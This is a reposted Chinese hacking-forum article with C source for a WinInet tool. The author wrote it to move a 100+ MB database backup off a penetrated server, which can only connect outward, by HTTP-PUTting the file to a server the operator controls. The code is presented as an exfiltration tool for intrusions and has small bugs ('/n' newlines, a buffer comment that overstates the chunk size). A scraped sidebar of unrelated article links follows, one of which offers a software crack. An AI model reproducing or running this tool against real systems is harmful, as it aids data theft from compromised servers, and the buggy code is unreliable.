信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
最近做一个渗透,目标机为一台数据库服务器,对外没有开放,只能反连出来,上面有个100多M的数据库备份,用后门下载的时候总是掉线,听mickey说用PUT方式可以上传大文件,于是从网上找找了代码,写了个命令行下上传大文件的C程序.
代码:
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <wininet.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")
void Usage (char *name);//帮助信息
BOOL UseHttpSendReqEx(HINTERNET hConnect, TCHAR *upFile, TCHAR *localFile)
{
INTERNET_BUFFERS BufferIn = {0};
DWORD dwBytesRead;
DWORD dwBytesWritten;
BYTE pBuffer[302480]; // Read from file in 300M chunks,最大支持300M文件
BOOL bRead, bRet;
BufferIn.dwStructSize = sizeof( INTERNET_BUFFERS );
//使用put方式上传文件:
HINTERNET hRequest = HttpOpenRequest (hConnect, "PUT",
localFile, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE, 0);
if (!hRequest)
{
printf("Failed to open request handle: %lu/n", GetLastError ());
return FALSE;
}
//打开指定的文件:
HANDLE hFile = CreateFile (upFile, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
printf("/nFailed to open local file %s.", upFile);
return FALSE;
}
BufferIn.dwBufferTotal = GetFileSize (hFile, NULL);
printf ("File size is %d/n", BufferIn.dwBufferTotal );
if(!HttpSendRequestEx( hRequest, &BufferIn, NULL, HSR_INITIATE, 0))
{
printf( "Error on HttpSendRequestEx %lu/n",GetLastError() );
return FALSE;
}
DWORD sum = 0;
do
{
if (!(bRead = ReadFile (hFile, pBuffer, sizeof(pBuffer),&dwBytesRead, NULL)))
{
printf ("/nReadFile failed on buffer %lu.",GetLastError());
break;
}
if (!(bRet=InternetWriteFile( hRequest, pBuffer, dwBytesRead,&dwBytesWritten)))
{
printf ("/nInternetWriteFile failed %lu", GetLastError());
break;
}
sum += dwBytesWritten;
}
while (dwBytesRead == sizeof(pBuffer)) ;
CloseHandle (hFile);
printf ("Actual written bytes: %d/nupload %s successed!/n", sum,localFile);
//结束一个HTTP请求:
if(!HttpEndRequest(hRequest, NULL, 0, 0))
{
printf( "Error on HttpEndRequest %lu /n", GetLastError());
return FALSE;
}
return TRUE;
}
int main(int argc, char **argv)
{
//put 127.0.0.1 /1.db c://wmpub//1.exe
if(argc!=4)
{
Usage(argv[0]);
return 0;
}
//char *ServerName="127.0.0.1"; //这里填写URL地址
char *ServerName=argv[1];
HINTERNET hSession = InternetOpen("HttpSendRequest",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); //同步方式
if(!hSession){
printf("Failed to open InternetOpen/n");
exit(0);
}
//连接到一个http服务:
HINTERNET hConnect = InternetConnect(hSession,
ServerName,
INTERNET_DEFAULT_HTTP_PORT, //连接到80端口,可以修改成任意端口,比如53
NULL,
NULL,
INTERNET_SERVICE_HTTP, //服务类型HTTP,FTP或Gopher
0,
1);
if(!hConnect)
{
printf("error InternetConnect/n");
return 0;
}
//TCHAR *putfile="c://wmpub//1.exe"; //上传的程序
TCHAR *putfile=argv[3];
TCHAR *putlocalfile=argv[2];
BOOL sigh;
sigh=UseHttpSendReqEx(hConnect,putfile,putlocalfile);
if(!sigh)
{
printf("error UseHttpSendReqEx/n");
return 0;
}
return 0;
}
//输出帮助的典型方法:
void Usage (char *name)
{
fprintf(stderr,"===============================================================================/n"
"/t名称:利用PUT上传300M的大文件/n"
"/t环境:Win2003+Visual C++ 6.0/n"
"/t作者:pt007@vip.sina.com/n"
"/tQQ: 7491805/n"
"/t声明:本软件由pt007原创,转载请注明出处,谢谢!/n"
"/t使用说明:1.db为上传后保存后的文件,c://wmpub//1.exe为本地要上传的大文件,/n/t需要IIS里面设置允许写入!/n"
"/t例子:%s 192.168.1.101 /1.db c://wmpub//1.exe/n"
"===============================================================================/n",name);
}
本文来源于:Chinadu`s Blog http://www.4shell.org 原文地址: http://www.4shell.org/archives/888.html
相关推荐
头歌MySQL数据库实训答案 有目录
头歌java实训答案集数据库部分一条一条的写,可鼠标手动粘贴,除特定命令外未分大小写。 第1关:创建数据库 第2关创建表 第3关:使用主键约束 第4关:外键约束 第5关:添加常用约束 MySQL数据库 - 数据库和表的基本操作(一) 第1关:查看表结构与修改表名 第2关:修改字段名与字段数据类型 第3关:添加与删除字段 第4关:修改字段的排列位置 第5关:删除表的外键约束 MySQL数据库 - 数据库和表的基本操作(二) 第1关:插入数据 第2关:更新数据 第3关:删除数据 MySQL数据库 - 单表查询(
C/C++ 通过HTTP实现文件上传下载
WinInet(Windows Internet)是 Microsoft Windows 操作系统中的一个 API 集,用于提供对 Internet 相关功能的支持。它包括了一系列的函数,使得 Windows 应用程序能够进行网络通信、处理 HTTP 请求、FTP 操作等。WinInet 提供了一套完整的网络通信工具,使得开发者能够轻松地构建支持网络功能的应用程序,涵盖了从简单的 HTTP 请求到复杂的文件传输等多种网络操作。
逆向工程Python爬虫——国税局发票查验平台
前言 这是一篇含金量很高的干货文章,笔者将手把手带领各位一步一步地实现爬取国家税务总局全国增值税发票查验平台(以下简称“查验平台”)。这个想法诞生在19年初,当时在做一款通过扫描二维码就可以查验发票的小程序。 当时由于笔者学艺尚浅,没办法模拟请求爬取查验平台,所以最终采用的技术方案是通过web自动化测试工具selenium控制浏览器去模拟查验步骤,即使这样,开发过程也是困难重重,不过最后笔者和伙伴们成功实现了整套流程,最后开发出的产品口袋发票夺得了包括2019微信小程序开发大赛赛区三等奖在内的多个奖项。 但
WinInet和winHttp库使用简介
winhttp和wininet简介 http qt c++
两级运算放大器设计与仿真
运算放大器(简称运放)是许多模拟系统和混合信号系统中的一个完整部分。各种不同复杂程度的运放被用来实现各种功能:从直流偏置的产生到高速放大或滤波。伴随者每一代 CMOS 工艺,由于电源电压和晶体管沟道长度的减小,为运放的设计不断提出复杂的课题。 运算放大器的设计可以分为两个较为独立的步骤,第一步是选择或搭建运放的基本结构,绘出电路结构草图,第二步就要选择直流电流,手工设计管子尺寸,以及设计补偿电路等等,然后在手工计算的基础上,运用模拟电路仿真软件对设计的两级运放进行仿真,并对电路进行后续的调试和修改。....
手把手教你学simulink(40.1)--水力发电场景示例:基于 Simulink 的抽水蓄能电站水力发电
项目背景抽水蓄能电站是一种重要的储能技术,广泛应用于电力系统的调峰填谷、频率调节和备用电源。它通过在电力负荷低谷时将水从下水库抽到上水库储存,在电力负荷高峰时释放水进行发电,从而实现电能的高效利用。与传统的水电站不同,抽水蓄能电站可以在短时间内快速响应电网的需求,具有良好的灵活性和可靠性。本项目旨在使用 MATLAB/Simulink 模拟一个完整的抽水蓄能电站的水力发电过程,包括水泵-涡轮机系统、发电机、水道系统、控制系统等,并实现对电站的精确控制,确保其在不同工况下都能稳定运行。
PUT方法上传文件
PUT方法
Selenium|通过更改亚马逊amazon的配送地获取当地的cookie
如果我们需要拿到国外配送地的商品信息,这个时候就需要用到selenium或者pypputeer自动化的方法去更改配送地,拿到当地的cookie信息,之后,携带当地的cookie使用requests发送请求,就可以拿到国外配送地的商品数据信息。一般来说,我们访问亚马逊,亚马逊的配送地一般显示的是国内,但是国内的商品信息和国外的商品信息其实是存在很大差别的,比如你在搜索框输入某个关键词,看到的
使用PUT方法上传文件
HTTP中提供了这么多方法,放着不用简直浪费!流行使用POST上传文件是因为当年的Web没有太多API的支持,只能用表单来上传文件,所以后来大家也习惯了使用POST。但现在既然支持了这么多API,用PUT方法上传文件也是可以实现的,而且语义上更合适。 PUT方法的特点是传输的实体部分是一个无结构的二进制数据,而POST方法则倾向于结构化的数据。上传文件这个行为本身就是无结构数据的传输(文件是
UG NX二次开发(C#)--详细讲述编程模板NXOpen_CS_Wizard的代码意义,帮你轻松进入NXOpen(C#)二次开发
有几个读者私信问我,在看了“NX1957在VS2019上二次开发的环境配置”后,能完成了UG NX二次开发(C#)模板的配置,也能根据模板创建工程,但是对工程文件.cs不甚理解;并且,在UG Styler新建完成后,其也有一个dlx文件和.cs文件,也不清楚怎么使用。本文先对UG NX二次开发(C#)模板文件进行讲解,在下一个博客中,讲解Styler新建后的模板文件。以上就是对编程模板NXOpen_CS_Wizard(c#)的讲解,其实只要明白了逻辑关系,编程实现只是时间问题,祝你好运。
vue3 - 高德地图定位出错Get ipLocation failed.Geolocation permission denied.(info: “FAILED“ | status: 0)报错解决!
vue3,nuxt3,高德地图,定位,位置,报错,AMap.Geolocation,解决报当前定位失败,高德地图H5 定位失败报错,web网页网站,报错详细解决教程,Get ipLocation failed.Geolocation permission denied.,高德地图定位报错info: "FAILED",高德地图status: 0,已经是https了还是报错,确保了浏览器位置已经开了,手机定位也开了,没解决,H5页面在ios的浏览器上使用 高德地图 报当前定位失败Geolocation,移动端设
C语言项目(二)-----实现文件的上传与下载
客户端向服务器发送请求list,查看服务器目录下的文件,然后,get filename命令将文件下载到本地。接着,put filename命令将本地文件上传到服务器最后,quit退出。
农业生产AI决策系统架构设计解密:数据层-模型层-应用层核心逻辑
想象一下,在一个炎热的夏日,传统农田里的农民伯伯正满头大汗地检查每一株玉米是否缺水;而几公里外的智慧农场里,一位年轻农民正在空调房里滑动手机屏幕,看着AI系统自动生成的灌溉计划——这就是农业生产AI决策系统带来的改变。本文的目的,就是要揭开这个"智能农业大脑"的面纱,详细讲解它的"身体构造"(架构设计)和"工作原理"(核心逻辑)。我们将聚焦系统最核心的三个部分:数据层(收集农田信息)、模型层(分析信息并思考决策)和应用层(将决策告诉农民)。
java http 上传大文件上传_怎么使用httpclient发送大文件(1G以上)
怎么使用httpclient中的put方法上传大文件?如果是一次性读到内存中发送的话,内存很容易撑爆,所以肯定是用边读边发的方式,或者使用分片上传。现在想知道怎么使用httpclient实现边读边传,使用jdk自带的方法已经知道怎么实现了。public static void putRequest(String uri, Map headers, File file){URLConnection ...
霍尼韦尔SoftMaster使用说明
霍尼韦尔SoftMaster使用说明
IMSL CNL 7.0.0 (x86-64)Crack
IMSL CNL 7.0.0 (x86-64)Crack intel的算法库破解文件,这是C++版本的破解文件
使用 curl 上传文件
curl是上传文件的强大工具,支持多种协议和方法,适用于各种文件上传场景。从基本的POST上传,到复杂的多文件上传、文件和数据混合上传,再到通过认证上传,curl提供了丰富的选项来满足不同的需求。掌握这些基本用法后,你可以灵活地根据不同场景使用curl来完成文件上传任务。
迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)
迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)
Tornado文件上传终极指南:支持大文件分块上传的完整教程
Tornado是一个强大的Python Web框架和异步网络库,它提供了**高效的文件上传与处理功能**,特别适合处理大文件和并发上传场景。作为异步网络框架的佼佼者,Tornado的文件上传机制能够显著提升应用性能。✨ ## 🚀 为什么选择Tornado处理文件上传? Tornado的文件上传功能具有以下独特优势: - **异步非阻塞**:不会阻塞服务器处理其他请求 - **内存高效**:
LinePhone3.2.7(android端最新版本) sip客户端
SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/
java post 大文件_怎么使用httpclient发送大文件(1G以上)
怎么使用httpclient中的put方法上传大文件?如果是一次性读到内存中发送的话,内存很容易撑爆,所以肯定是用边读边发的方式,或者使用分片上传。现在想知道怎么使用httpclient实现边读边传,使用jdk自带的方法已经知道怎么实现了。public static void putRequest(String uri, Map headers, File file){URLConnection ...
go 文件服务器 上传,golang做上传文件服务器文件处理问题
1.使用golang 做web服务器2.客户端使用http put的形式,上传文件到此web服务器3.假如上传的文件很大,服务器可否支持,比如上传到服务器100k大小后就,存一个chunk文件,然后释放那部分内存,以此类推(觉得类似于管道)4.目前我知道 http.Request.Body 可以获取上传之后的文件具体内容,并且它是一个 io.ReadCloser类型5.再问一下http.Reque...
Python中HTTP文件上传与下载
需要注意的是,在处理文件上传和下载时,我们应该始终检查HTTP响应的状态码,以确保请求成功。在Python编程中,处理HTTP文件上传与下载是常见的任务,无论是开发Web应用、构建API客户端还是进行数据迁移,这些功能都至关重要。要下载文件,我们通常会发送一个GET请求到包含文件的URL,并将响应的内容保存到本地文件系统中。参数的值是一个字典,其中键是表单字段的名称,值是一个打开的文件对象(以二进制模式)。要上传文件,我们通常会发送一个POST或PUT请求,并在请求体中包含文件数据。
UnityWebRequest常规操作 上传数据
数据构建:使用和构建上传数据POST 通用性:为了更好的兼容性,建议统一使用 POST 请求进行上传进度监控:通过和实时监控上传状态错误处理:完善的结果检查和异常处理机制。
汽车制造领域,如何跨平台实现文件上传下载?
最近做在做ePartner项目,涉及到文件上传的问题。以前也做过文件上传,但都是些小文件,不超过2M。这次要求上传100M以上的东西。没办法找来资料研究了一下。基于WEB的文件上传可以使用FTP和HTTP两种协议,用FTP的话虽然传输稳定,但安全性是个严重的问题,而且FTP服务器读用户库获取权限,这样对于用户使用来说还是不太方便。剩下只有HTTP。
[python] 爬虫requests
wupeiqi
hadoop定位文件读取
hadoop定位文件读取需求说明:上传文件分块下载查看 需求说明: 分块读取HDFS上的大文件,比如根目录下的/hadoop-2.7.2.tar.gz 上传文件 [xzc@hadoop102 /]$ hadoop fs -put /opt/module/hadoop-2.7.2.tar.gz 查看文件块数(两块) 分块下载 下载第一块 //把HDFS的hadoop-2.7.2.tar.gz文件的前128M(第一块)下载到本地 @Test public void readFileSeek1()
c#:HttpClient使用详解
环境: window10 vs2019 .netcore 3.1 centos 7.6 一、在c#中发送http请求的方式 本部分参考:《WebClient, HttpClient, HttpWebRequest ,RestSharp之间的区别与抉择》 使用.net 平台原生提供的HttpWebRequest、WebClient和HttpClient。 使用开源的工具,如:RestSharp、Flurl。 在.net core平台下已经不推荐使用HttpWebRequest、WebClient方式了
大文件上传
1.整体逻辑应如下:获取文件内容,利用方法将文件基于chunkSize进行裁剪,返回切片数组。将单个分片/整个文件内容计算出每个切片及文件的hash 值。进行预请求preupload,获取获取上传地址及授权信息,将 hash 值发送到服务端进行比对,检查文件是否上传过,分片是否上传过:1.如果文件已经上传过则直接调用postupload完成分片上传,从而实现秒传并返回相关信息字段。
python上传大文件s3_aws s3上传大文件的4种方法
aws s3 上对存储的数据容量是没有限制的,各个 Amazon S3 数据元的大小可在 1 字节至 5 TB 之间,可在单个 PUT 中上传的最大数据元为 5 GB,对于大于 100 MB 的数据元,官方建议是要采用分段上传的方式,所以如果你有很大的文件要上传到S3上,而目前还不知道采用哪种方式最好,今天这篇文章我们就是专门来讨论如何把一个大文件上传到S3上的,经过我自己汇总,S3对上传大文件有...
4万+



被折叠的 条评论
为什么被折叠?



